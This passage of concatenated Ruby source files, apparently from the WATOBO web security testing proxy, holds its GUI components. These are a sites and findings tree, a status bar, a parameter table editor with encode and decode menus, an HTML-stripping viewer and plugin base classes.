'.') @textbox.setText(text) return true rescue => bang puts bang puts bang.backtrace if $DEBUG @textbox.setText(text) end return false end private def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def normalizeText(text, replace_char='') begin return '' if text.nil? t = text.is_a?(Array) ? text.join : text t = t.unpack("C*").pack("C*") t.gsub!(/\x0d/, '') r = Regexp.new '[\x00-\x09\x0b-\x1f\x7f-\xff]+', nil, 'n' t.gsub!(r, replace_char) return t rescue => bang puts bang puts bang.backtrace if $DEBUG end text.join end def onTextChanged(sender, sel, changed) begin notify(:text_changed) rescue => bang puts "!!!ERROR: onTextChanged" puts bang end end def log(text, e=nil) # @logger.addError "Not a valid expression! \n#{e}" t = Time.now now = t.strftime("%m/%d/%Y @ %H:%M:%S") msg = "[#{now}] #{text}" notify(:error, msg) puts msg if e then puts e puts e.backtrace end end end end endwatobo-1.0.1/lib/watobo/gui/sites_tree.rb000066400000000000000000000335331366346341400203450ustar00rootroot00000000000000#require 'qcustomize.rb' # @private module Watobo#:nodoc: all module Gui class SitesTree < FXTreeList attr_accessor :project include Watobo::Constants include Watobo::Gui::Icons def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def reload() self.clearItems Watobo::Chats.each do |chat| addChat(chat) end # @interface.updateRequestTable(@project) end def refresh_tree() self.clearItems Watobo::Chats.each do |chat| addChat(chat) end # @interface.updateRequestTable(@project) end def expandFullTree(item) self.expandTree(item) item.each do |c| expandFullTree(c) if !self.itemLeaf?(c) end end def useSmallIcons() small_font = FXFont.new(getApp(), "helvetica", GUI_SMALL_FONT_SIZE) small_font.create @folderIcon = ICON_FOLDER_SMALL @reqIcon = ICON_REQUEST_SMALL @siteIcon= ICON_SITE_SMALL @icon_vuln = ICON_VULN_SMALL @icon_vuln_bp = ICON_VULN_BP_SMALL @icon_vuln_low = ICON_VULN_LOW_SMALL @icon_vuln_medium = ICON_VULN_MEDIUM_SMALL @icon_vuln_high = ICON_VULN_HIGH_SMALL @icon_vuln_critical = ICON_VULN_CRITICAL_SMALL @icon_info = ICON_INFO_SMALL @icon_info_info = ICON_INFO_INFO_SMALL @icon_hints_info = ICON_INFO_INFO_SMALL @icon_hints = ICON_HINTS_SMALL self.font = small_font reload() end def useRegularIcons() regular_font = FXFont.new(getApp(), "helvetica", GUI_REGULAR_FONT_SIZE) regular_font.create # Findings Tree Icons @folderIcon = ICON_FOLDER @reqIcon = ICON_REQUEST @siteIcon= ICON_SITE # Findings Tree Icons @icon_vuln = ICON_VULN @icon_vuln_bp = ICON_VULN_BP @icon_vuln_low = ICON_VULN_LOW @icon_vuln_medium = ICON_VULN_MEDIUM @icon_vuln_high = ICON_VULN_HIGH @icon_vuln_critical = ICON_VULN_CRITICAL @icon_info = ICON_INFO @icon_info_info = ICON_INFO_INFO @icon_hints_info = ICON_INFO_INFO @icon_hints = ICON_HINTS self.font = regular_font reload() end def collapseFullTree(item) self.collapseTree(item) item.each do |c| collapseFullTree(c) if !self.itemLeaf?(c) end end def hidden?(chat) #TODO: Filter false end def hideDomain(domain_filter) # @interface.default_settings[:domain_filters].push domain_filter # @interface.updateTreeLists() end def addFindings4Chat(item, chat) cpath = chat.request.path csite = chat.request.site Watobo::Findings.each do |fid, finding| if finding.details.has_key? :chat_id && finding.details[:chat_id] == chat.id addFindingItem(item, finding) elsif csite == finding.request.site and cpath == finding.request.path addFindingItem(item, finding) end end true end def addFindingItem(item, finding) begin case finding.details[:type] when FINDING_TYPE_INFO finding_type = "Info" icon = @icon_info_info when FINDING_TYPE_HINT finding_type = "Hints" icon = @icon_hints_info when FINDING_TYPE_VULN finding_type = "Vulnerabilities" icon = @icon_vuln_bp if finding.details[:rating] == VULN_RATING_LOW icon = @icon_vuln_low # puts "low-rating-vuln" end if finding.details[:rating] == VULN_RATING_MEDIUM icon = @icon_vuln_medium end if finding.details[:rating] == VULN_RATING_HIGH icon = @icon_vuln_high end if finding.details[:rating] == VULN_RATING_CRITICAL icon = @icon_vuln_critical end end class_item = self.findItem(finding.details[:class], item, SEARCH_FORWARD|SEARCH_IGNORECASE|SEARCH_NOWRAP|SEARCH_PREFIX) if not class_item or class_item.parent != item class_item = self.appendItem(item, finding.details[:class], icon, icon) self.setItemData(class_item, :finding_class ) end title_item = self.findItem(finding.details[:title], class_item, SEARCH_FORWARD|SEARCH_IGNORECASE|SEARCH_NOWRAP) if not title_item or title_item.parent != class_item title_item = self.appendItem(class_item, finding.details[:title], nil, nil) self.setItemData(title_item, finding ) # puts finding.details[:title] end rescue => bang puts "!ERROR: could not add finding to tree" puts bang puts bang.backtrace if $DEBUG end end def addChat(chat) if @show_scope_only == true return false unless Watobo::Scope.match_site?(chat.request.site) end @tree_filters[:response_status].each do |rf| #puts "#{chat.response.status} / #{rf}" return false if chat.response.status =~ /#{rf}/ end addChatItem(chat) end # end def addChatItem(chat) site = self.findItem(chat.request.site, nil, SEARCH_FORWARD|SEARCH_IGNORECASE) if not site then # found new site site = self.appendItem(nil, chat.request.site, @siteIcon, @siteIcon) #site = @findings_tree.moveItem(project.first,project,site) self.setItemData(site, :item_type_site) end @quick_filter[site.object_id] ||= [] @quick_filter[site.object_id].push chat folder_parent = site #puts "ADD_REQUEST: #{chat.request.first}" dir = chat.request.dir if dir != "" then #puts "Check Folder: #{chat.request.path} - #{chat.request.site}" if path =~ /jump/ folders = dir.split('/') folders.each do |folder_name| # puts "search for folder #{folder_name}" folder_item = nil folder_parent.each do |c| folder_item = c if c.to_s == folder_name end #folder_item = self.findItem(folder_name, folder_parent, SEARCH_FORWARD|SEARCH_WRAP) if folder_item.nil? then #folder_item = self.appendItem(folder_parent, folder_name, @folderIcon, @folderIcon) folder_item = self.insertItem(folder_parent.first, folder_parent, folder_name, @folderIcon, @folderIcon) self.setItemData(folder_item, :item_type_folder) # puts "added folder #{folder_name} to #{folder_parent} for site #{chat.request.site}" end @quick_filter[folder_item.object_id] ||= [] @quick_filter[folder_item.object_id].push chat folder_parent = folder_item end end ml = 25 fext = chat.request.file_ext element = "/" + fext.slice(0, ml) element += "..." if fext.length > ml item = nil folder_parent.each do |c| item = c if c.to_s == element end if item.nil? # puts item.text.methods.sort # puts "added file #{element} to #{folder_parent} for site #{chat.request.site}" if chat.request.url =~ /series60/i new_item = self.appendItem(folder_parent, element, @reqIcon, @reqIcon) # self.textColor = FXColor::Red self.setItemData(new_item, chat) @quick_filter[new_item.object_id] ||= [] #puts new_item.class @quick_filter[new_item.object_id].push chat # also add findings here addFindings4Chat(new_item, chat) end end def initialize(parent, interface, project) @project = project @interface = interface @parent = parent @quick_filter = Hash.new @show_scope_only = false super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_TOP|LAYOUT_RIGHT|TREELIST_SHOWS_LINES|TREELIST_SHOWS_BOXES|TREELIST_ROOT_BOXES|TREELIST_EXTENDEDSELECT) @event_dispatcher_listeners = Hash.new @projectIcon = ICON_PROJECT @folderIcon = ICON_FOLDER @reqIcon = ICON_REQUEST @siteIcon= ICON_SITE @filtered_domains = Hash.new # domains which already have been filtered @tree_filters = { :response_status => [] } useRegularIcons() # session_leaf = self.appendItem(nil, @session_name, @projectIcon, @projectIcon) self.connect(SEL_COMMAND) do |sender, sel, item| url_parts = [] # p = item if self.itemLeaf?(item) begin if item.data.is_a? Watobo::Chat #if item.data.class.to_s =~ /Qchat/ #@interface.show_chat(item.data) notify(:show_chat, item.data) #end chat = item.data # url_parts.unshift chat.request.file_ext # p = item.parent end if item.data.is_a? Watobo::Finding #puts "* finding clicked" #@interface.show_vuln(item.data) notify(:vuln_click, item.data) end rescue => bang # puts bang # puts bang.backtrace if $DEBUG #puts "!!! Error: could not show selected tree item" end end #elsif item.data == :item_type_folder||:item_type_site then # if !p.nil? # while p.parent # url_parts.unshift p.text.sub(/^\//,'') # p = p.parent # end #end # url_parts.unshift p # filter = url_parts.join("/") # puts @quick_filter.keys.join("\n") # puts "====" # puts item # puts "====" getApp().beginWaitCursor do notify(:show_conversation, @quick_filter[item.object_id]) if @quick_filter[item.object_id] # notify(:apply_site_filter, filter) end end self.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| exclude_site = nil unless event.moved? FXMenuPane.new(self) do |menu_pane| target = FXMenuCheck.new(menu_pane, "show scope only" ) target.check = @show_scope_only target.connect(SEL_COMMAND) { |tsender, tsel, titem| @show_scope_only = tsender.checked? reload() if @project } exclude_submenu = FXMenuPane.new(self) do |sub| ["404", "302"].each do |rc| target = FXMenuCheck.new(sub, "#{rc} Status" ) target.check = @tree_filters[:response_status].include? rc target.connect(SEL_COMMAND) { |tsender, tsel, titem| rs = tsender.to_s.slice(/\d+/) unless @tree_filters[:response_status].include? rs @tree_filters[:response_status].push rs else @tree_filters[:response_status].delete rs end reload() if @project } end end FXMenuCascade.new(menu_pane, "Hide", nil, exclude_submenu) item = sender.getItemAt(event.win_x, event.win_y) unless item.nil? unless self.itemLeaf?(item) FXMenuSeparator.new(menu_pane) FXMenuCommand.new(menu_pane, "expand tree" ).connect(SEL_COMMAND) { expandFullTree(item) } FXMenuCommand.new(menu_pane, "collapse tree" ).connect(SEL_COMMAND) { self.collapseFullTree(item) } end data = self.getItemData(item) if data == :item_type_site then FXMenuSeparator.new(menu_pane) FXMenuCommand.new(menu_pane, "add site to scope" ).connect(SEL_COMMAND) { notify(:add_site_to_scope, item.to_s) } elsif data.is_a? Watobo::Chat FXMenuSeparator.new(menu_pane) doManual = FXMenuCommand.new(menu_pane, "Manual Request.." ) doManual.connect(SEL_COMMAND) { if item.data @interface.open_manual_request_editor(item.data) end } end # submenu = FXMenuPane.new(self) do |domain_menu| # @filtered_domains.each do |domain, filter| # hide_domain = FXMenuCommand.new(domain_menu, "#{domain}" ) # hide_domain.connect(SEL_COMMAND) { # @interface.default_settings[:domain_filters].delete(filter) # @filtered_domains.clear # @interface.updateTreeLists # } # end # end # FXMenuCascade.new(menu_pane, "Unhide Domains", nil, submenu) end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end private def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end # namespace end end end watobo-1.0.1/lib/watobo/gui/status_bar.rb000066400000000000000000000073731366346341400203510ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class StatusBar < FXHorizontalFrame def setStatusInfo( prefs={} ) cprefs = { :color => self.parent.backColor, :text => '' } cprefs.update prefs unless prefs.nil? @statusInfo.text = cprefs[:text] unless cprefs[:color].nil? @statusInfo.backColor = cprefs[:color] end end def update_proxy_mode # puts "Update Proxy Mode ..." if Watobo::Conf::Interceptor.proxy_mode == Watobo::Interceptor::MODE_REGULAR # puts "REGULAR MODE" @portNumber.backColor = @portNumber.parent.backColor @port_label.backColor = @port_label.parent.backColor else # puts "TRANSPARENT MODE" @portNumber.backColor = FXColor::Red @port_label.backColor = FXColor::Red end end def statusInfoText=( new_text ) @statusInfo.text = new_text @statusInfo.backColor = self.parent.backColor end def projectName=(project_name) @projectName.text = project_name end def sessionName=(session_name) @sessionName.text = session_name end def portNumber=(port_number) @portNumber.text = port_number end def forwardingProxy=(forward_proxy) @forwardingProxy.text = forward_proxy end def bindAddress=(bind_addr) @bind_addr_label.text = "Bind-Addr: #{bind_addr} " end def initialize(owner, opts) super(owner, opts) frame = FXHorizontalFrame.new(self, :opts => FRAME_SUNKEN, :padding => 0) FXLabel.new(frame, "Status: ") @statusInfo = FXLabel.new(frame, "- no project started -") frame = FXHorizontalFrame.new(self, :opts => FRAME_SUNKEN, :padding => 0) FXLabel.new(frame, "Project: ") @projectName = FXLabel.new(frame, " - ") frame = FXHorizontalFrame.new(self, :opts => FRAME_SUNKEN, :padding => 0) FXLabel.new(frame, "Session: ") @sessionName = FXLabel.new(frame, " - ") frame = FXHorizontalFrame.new(self, :opts => FRAME_SUNKEN, :padding => 0) #@bind_label = FXLabel.new(frame, "BindAddr: ") @bind_addr_label = FXLabel.new(frame, "Bind-Addr: - ") frame = FXHorizontalFrame.new(self, :opts => FRAME_SUNKEN, :padding => 0) @port_label = FXLabel.new(frame, "Port: ") # @port_label.connect(SEL_RIGHTBUTTONPRESS) { switch_proxy_mode } @portNumber = FXLabel.new(frame, " - ") # @portNumber.connect(SEL_RIGHTBUTTONPRESS) { switch_proxy_mode } frame = FXHorizontalFrame.new(self, :opts => FRAME_SUNKEN, :padding => 0) FXLabel.new(frame, "Forwarding Proxy: ") @forwardingProxy = FXLabel.new(frame, " - ") end private def switch_proxy_mode if RUBY_PLATFORM =~ /linux/i puts "SWITCHING PROXY MODE ..." if Watobo::Interceptor.proxy_mode == Watobo::Interceptor::MODE_TRANSPARENT mode = "Regular" # Watobo::NFQueue.stop Watobo::Interceptor.proxy_mode = Watobo::Interceptor::MODE_REGULAR @portNumber.backColor = @portNumber.parent.backColor @port_label.backColor = @port_label.parent.backColor else mode = "Transparent" # t = Watobo::NFQueue.start Watobo::Interceptor.proxy_mode = Watobo::Interceptor::MODE_TRANSPARENT @portNumber.backColor = FXColor::Red @port_label.backColor = FXColor::Red # puts t.status end puts "current mode: #{mode}" else puts "COULD NOT SWITCH PROXY-MODE" puts "Reason: Platform Not Supported" end end end # class end end end watobo-1.0.1/lib/watobo/gui/table_editor.rb000066400000000000000000000371131366346341400206320ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class AddTableParmDialog < FXDialogBox attr :param def location() @location_combo.getItemData(@location_combo.currentItem) end def parmName() @parm_name_dt.value end def parmValue() @parm_value_dt.value end def initialize(owner) #super(owner, "Edit Target Scope", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 425) super(owner, "Add Parameter", DECOR_ALL) @location = nil @pname = nil @pval = nil @param = nil base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # puts "create scopeframe with scope:" # @project.scope FXLabel.new(frame, "Location:") @location_combo = FXComboBox.new(frame, 5, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) %w( WWWForm URL Cookie JSON ).each do |loc| item = @location_combo.appendItem(loc) @location_combo.setItemData(item, loc) end @location_combo.numVisible = 4 @location_combo.numColumns = 8 @location_combo.currentItem = 0 @location_combo.editable = false # @location_combo.connect(SEL_COMMAND, method(:onLocationChanged)) FXLabel.new(frame, "Parameter:") @parm_name_dt = FXDataTarget.new('') FXTextField.new(frame, 15, :target => @parm_name_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) FXLabel.new(frame, "Value:") @parm_value_dt = FXDataTarget.new('') FXTextField.new(frame, 15, :target => @parm_value_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Add" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) create_param self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end private def create_param @param = case @location_combo.getItemData(@location_combo.currentItem) when /(Post|WWWForm)/i Watobo::WWWFormParameter.new(:name => @parm_name_dt.value, :value => @parm_value_dt.value) when /Url/i Watobo::UrlParameter.new(:name => @parm_name_dt.value, :value => @parm_value_dt.value) when /Cookie/i Watobo::CookieParameter.new(:name => @parm_name_dt.value, :value => @parm_value_dt.value) when /JSON/i Watobo::JSONParameter.new(:name => @parm_name_dt.value, :value => @parm_value_dt.value) else nil end end end class TableEditor < FXTable include Watobo::Subscriber def rawRequest parseRequest end def exportToClipboard entries = [] self.numRows.times do |i| entry = [] entry << self.getItemText(i, 1) entry << self.getItemText(i, 0) entry << self.getItemText(i, 2).unpack("C*").pack("C*").strip entries << entry.join("|") end types = [ FXWindow.stringType ] #if acquireClipboard(types) # @clipboard_text = entries.join("\n") #end end def parseRequest return '' if @request.nil? request = @request.copy request.clear_parameters self.numRows.times do |i| #name = CGI.escape(self.getItemText(i, 1)) #location = self.getItemText(i, 0) parm = self.getItemData(i, 0) parm.value = self.getItemText(i, 2).unpack("C*").pack("C*").strip request.set parm end request end def setRequest(request) initTable() @request = nil return true if request.empty? @request = request.copy #return false if @request.content_type =~ /(multipart|json)/ @request = Watobo::Utils.text2request(request) if request.is_a? String # addParmList("REQ", ["URL=#{request.url}"]) @request.parameters.each do |parm| next unless parm.is_value? add_parm parm end true end def initialize(owner, opts) super(owner, opts) @request = nil @event_dispatcher_listeners = Hash.new initTable() self.connect(SEL_COMMAND, method(:onTableClick)) # KEY_Return # KEY_Control_L # KEY_Control_R # KEY_s @ctrl_pressed = false addKeyHandler(self) @clipboard_text = "" #self.connect(SEL_CLIPBOARD_REQUEST) do # setDNDData(FROM_CLIPBOARD, FXWindow.stringType, Fox.fxencodeStringData(@clipboard_text)) # setDNDData(FROM_CLIPBOARD, FXWindow.stringType, @clipboard_text + "\x00" ) #end self.connect(SEL_DOUBLECLICKED) do |sender, sel, data| row = sender.getCurrentRow if row >= 0 then self.selectRow(row, false) # open simple editor end end self.connect(SEL_DOUBLECLICKED) do |sender, sel, data| row = sender.getCurrentRow return nil unless row >= 0 and row < self.numRows transcoder = TranscoderWindow.new(FXApp.instance, self.getItemText(row, 2)) transcoder.create transcoder.show(Fox::PLACEMENT_SCREEN) end self.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? self.cancelInput() ypos = event.click_y row = self.rowAtY(ypos) next unless row >= 0 and row <= self.numRows self.selectRow(row, false) if row < self.numRows FXMenuPane.new(self) do |menu_pane| if row < self.numRows cell_value = self.getItemText(row, 2) cell_value.extend Watobo::Mixin::Transcoders parm_name = self.getItemText(row, 1) FXMenuCaption.new(menu_pane,"- Decoder -") FXMenuSeparator.new(menu_pane) decodeB64 = FXMenuCommand.new(menu_pane,"Base64: #{cell_value.b64decode}") decodeB64.connect(SEL_COMMAND) { self.setItemText(row, 2, cell_value.b64decode) } decodeHex = FXMenuCommand.new(menu_pane,"Hex(A): #{cell_value.hexdecode}") decodeHex.connect(SEL_COMMAND) { self.setItemText(row, 2, cell_value.hexdecode) } hex2int = FXMenuCommand.new(menu_pane,"Hex(Int): #{cell_value.hex2int}") hex2int.connect(SEL_COMMAND) { self.setItemText(row, 2, cell_value.hex2int) } decodeURL = FXMenuCommand.new(menu_pane,"URL: #{cell_value.url_decode}") decodeURL.connect(SEL_COMMAND) { self.setItemText(row, 2, cell_value.url_decode) } FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane,"- Encoder -") FXMenuSeparator.new(menu_pane) encodeB64 = FXMenuCommand.new(menu_pane,"Base64: #{cell_value.b64encode}") encodeB64.connect(SEL_COMMAND) { self.setItemText(row, 2, cell_value.b64encode) } encodeHex = FXMenuCommand.new(menu_pane,"Hex: #{cell_value.hexencode}") encodeHex.connect(SEL_COMMAND) { self.setItemText(row, 2, cell_value.hexencode) } encodeURL = FXMenuCommand.new(menu_pane,"URL: #{cell_value.url_encode}") encodeURL.connect(SEL_COMMAND) { self.setItemText(row, 2, cell_value.url_encode) } FXMenuSeparator.new(menu_pane) remRow = FXMenuCommand.new(menu_pane,"to Clipboard") remRow.connect(SEL_COMMAND) { exportToClipboard } FXMenuSeparator.new(menu_pane) remRow = FXMenuCommand.new(menu_pane,"Remove: #{parm_name}") remRow.connect(SEL_COMMAND) { self.removeRows(row,1, true) } remRow = FXMenuCommand.new(menu_pane,"Add Parameter..") remRow.connect(SEL_COMMAND) { addNewParm() } elsif row >= 0 remRow = FXMenuCommand.new(menu_pane,"Add Parameter..") remRow.connect(SEL_COMMAND) { addNewParm() } end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end self.columnHeader.connect(SEL_COMMAND) do |sender, sel, index| self.fitColumnsToContents(index) end end private def add_parm(parm) puts "+ add param [#{parm.location}, #{parm.name}, #{parm.value}]" lastRowIndex = self.getNumRows self.appendRows(1) self.setItemText(lastRowIndex, 0, parm.location.to_s) self.setItemData(lastRowIndex, 0, parm) n = parm.name.nil? ? "" : CGI.unescape(parm.name) self.setItemText(lastRowIndex, 1, n) self.setItemText(lastRowIndex, 2, parm.value.to_s) 3.times do |i| self.getItem(lastRowIndex, i).justify = FXTableItem::LEFT ct_len = self.getItemText(lastRowIndex, i).length ht_len = self.getColumnText(i).length self.fitColumnsToContents(i) if ct_len > ht_len end end def addNewParm() dlg = AddTableParmDialog.new(self) if dlg.execute != 0 then #loc = dlg.location #pname = dlg.parmName #pval = dlg.parmValue parm = dlg.param add_parm parm unless parm.nil? end end def onTableClick(sender, sel, item) begin row = item.row # self.selectRow(row, false) setCurrentItem(row, 2) self.startInput(row,2) rescue => bang puts bang end end def addKeyHandler(item) item.connect(SEL_KEYPRESS) do |sender, sel, event| cr = self.currentRow @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [ " - Send Request", " - Encode Base64", " - Decode Base64", " - Encode URL", " - Decode URL" ].each do |hk| FXMenuCaption.new(menu_pane, hk) end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end if @ctrl_pressed # special handling of KEY_Return, because we don't want a linebreak in textbox. if event.code == KEY_Return self.acceptInput(true) notify(:hotkey_ctrl_enter) true else notify(:hotkey_ctrl_f) if event.code == KEY_f notify(:hotkey_ctrl_s) if event.code == KEY_s text = self.getItemText(cr, 2).unpack("C*").pack("C*") if event.code == KEY_u cgi = CGI::escape(text) self.acceptInput(true) self.setItemText(cr, 2, cgi.strip, true) end if event.code == KEY_b #puts "* Encode B64: #{text}" b64 = Base64.strict_encode64(text) self.acceptInput(true) self.setItemText(cr, 2, b64.strip, true) puts b64.class end # puts "CTRL-SHIFT-U" if event.code == KEY_U if event.code == KEY_U uncgi = CGI::unescape(text) self.acceptInput(true) self.setItemText(cr, 2, uncgi.strip, true) end if event.code == KEY_B b64 = Base64.decode64(text) self.acceptInput(true) self.setItemText(cr, 2, b64.strip, true) puts b64.class end false end elsif event.code == KEY_Return self.selectRow(cr) startInput(cr,2) true else #puts "%04x" % event.code false end end item.connect(SEL_KEYRELEASE) do |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false end end def initTable cws = [] self.numColumns.times do |i| cws << self.getColumnWidth(i) end self.clearItems() self.setTableSize(0, 3) self.setColumnText( 0, "Location" ) self.setColumnText( 1, "Parm" ) self.setColumnText( 2, "Value" ) self.rowHeader.width = 0 cws.each_with_index do |w, i| self.setColumnWidth(i, w) end end end class TableEditorFrame < FXVerticalFrame def subscribe(event, &callback) @editor.subscribe event, &callback end def clear @editor.setRequest '' @req_line.text = '' end def setRequest(raw_request) if raw_request.is_a? String request = Watobo::Utils.text2request(raw_request) elsif raw_request.respond_to? :copy request = raw_request.copy else request = Watobo::Request.new raw_request end begin @editor.setRequest request @req_line.text = request.first.strip unless request.empty? return true rescue => bang puts bang end false end alias :setText :setRequest def initialize(owner, opts) super(owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) #frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @req_line = FXText.new(self, :opts => LAYOUT_FILL_X|TEXT_FIXEDWRAP) @req_line.visibleRows = 1 @req_line.backColor = @req_line.parent.backColor @req_line.disable @editor = TableEditor.new(self, :opts => FRAME_SUNKEN|TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) end def method_missing(name, *args, &block) if @editor.respond_to? name.to_sym return @editor.send(name.to_sym, *args, &block) else super end end end end end watobo-1.0.1/lib/watobo/gui/tagless_viewer.rb000066400000000000000000000024531366346341400212170ustar00rootroot00000000000000require 'watobo/gui/request_editor' # @private module Watobo#:nodoc: all module Gui class TaglessViewer < SimpleTextView def normalizeText(text) return '' if text.nil? raw_text = text if text.is_a? Array then raw_text = text.join end #remove headers body_start = raw_text.index("\r\n\r\n") body_start = body_start.nil? ? 0 : body_start #puts "* start normalizing at pos #{body_start}" normalized = raw_text[body_start..-1] # UTF-8 Clean-Up normalized = normalized.unpack("C*").pack("C*") # remove all inbetween tags normalized.gsub!(/<.*?>/m, '') # remove non printable characters, except LF (\x0a) r = Regexp.new '[\x00-\x09\x0b-\x1f\x7f-\xff]+', nil, 'n' normalized.gsub!( r,'') # remove empty lines normalized.gsub!(/((\x20+)?\x0a(\x20+)?)+/,"\n") # decode html entities for better readability normalized = CGI.unescapeHTML(normalized) # additionally unescape   which is not handled by CGI :( normalized.gsub!(/(#{Regexp.quote(' ')})+/," ") # finally strip it normalized.strip end def initialize(owner, opts) super(owner, opts) end end end end watobo-1.0.1/lib/watobo/gui/templates/000077500000000000000000000000001366346341400176415ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/gui/templates/plugin.rb000066400000000000000000000050041366346341400214630ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Template class Plugin < FXDialogBox attr :plugin_name attr :icon include Watobo::Gui include Watobo::Gui::Icons def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def updateView() raise "!!! updateView not defined" end def load_icon(file=__FILE__) begin @icon = ICON_PLUGIN path = File.dirname(file) # puts "... searching for icons in #{path}" file = Dir.glob("#{path}/*.ico").first # puts "* load icon: #{file}" @icon = Watobo::Gui.load_icon(file) unless file.nil? self.icon = @icon rescue => bang puts "!!!Error: could not init icon" puts bang puts bang.backtrace if $DEBUG end end def initialize(owner, title, project, opts) dialog_opts = { :opts => DECOR_ALL, :width=>800, :height=>650 } dialog_opts.update opts super(owner, title, dialog_opts) # Implement Sender # Implement Scanner @icon = nil # load_icon() @plugin_name = "undefined" @event_dispatcher_listeners = Hash.new end private def save_config(config) wd = Watobo.working_directory dir_name = Watobo::Utils.snakecase self.class.to_s.gsub(/.*::/,'') path = File.join(wd, "conf", "plugins") Dir.mkdir path unless File.exist? path conf_dir = File.join(path, dir_name) Dir.mkdir conf_dir unless File.exist? conf_dir file = File.join(conf_dir, dir_name + "_config.yml") Watobo::Utils.save_settings(file, config) end def load_config() wd = Watobo.working_directory dir_name = Watobo::Utils.snakecase self.class.to_s.gsub(/.*::/,'') path = File.join(wd, "conf", "plugins") Dir.mkdir path unless File.exist? path conf_dir = File.join(path, dir_name) Dir.mkdir conf_dir unless File.exist? conf_dir file = File.join(conf_dir, dir_name + "_config.yml") config = Watobo::Utils.load_settings(file) config end end end end watobo-1.0.1/lib/watobo/gui/templates/plugin2.rb000077500000000000000000000042101366346341400215460ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class Plugin2 < FXDialogBox attr :plugin_name # attr :icon include Watobo::Gui include Watobo::Gui::Icons @icon_file = nil def self.get_icon @icon_file end def self.icon_file(icon_file) # puts "Caller >> #{caller.class}" # puts caller.to_yaml dummy = caller.first.split(":") dummy.pop file = dummy.join(":") @icon_file = File.join(File.dirname(file), "..", "icons", icon_file) end def load_icon icon = self.class.get_icon # puts "* loading icon > #{icon}" self.icon = Watobo::Gui.load_icon(icon) unless icon.nil? end def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def updateView() raise "!!! updateView not defined" end def logger(msg) t = Time.now now = t.strftime("%m/%d/%Y @ %H:%M:%S") @update_lock.synchronize do text = "\n#{now}: msg" @log_messages << text end end def initialize(owner, title, project, opts) copts = { :opts => DECOR_ALL, :width => 800, :height => 600 } copts.update opts super(owner, title, copts ) @icon = nil @update_timer = nil load_icon() @plugin_name = "undefined" @event_dispatcher_listeners = Hash.new @update_lock = Mutex.new @log_messages = [] add_update_timer() end private def on_update_timer end def add_update_timer(ms=250) @update_timer = FXApp.instance.addTimeout(ms, :repeat => true){ #@update_lock.synchronize do on_update_timer() #end } end def remove_update_timer #app = FXApp.instance app = getApp if app.hasTimeout? @update_timer app.removeTimeout @update_timer end end end end watobo-1.0.1/lib/watobo/gui/templates/plugin_base.rb000077500000000000000000000115031366346341400224610ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class PluginBase def self.inherited(subclass) %w( plugin_name plugin_path description version author output_path config_path lib_path ).each do |cvar| define_method(cvar) {self.class.instance_variable_get("@#{cvar}")} define_singleton_method("get_#{cvar}") { return nil unless instance_variable_defined?("@#{cvar}") instance_variable_get("@#{cvar}") } 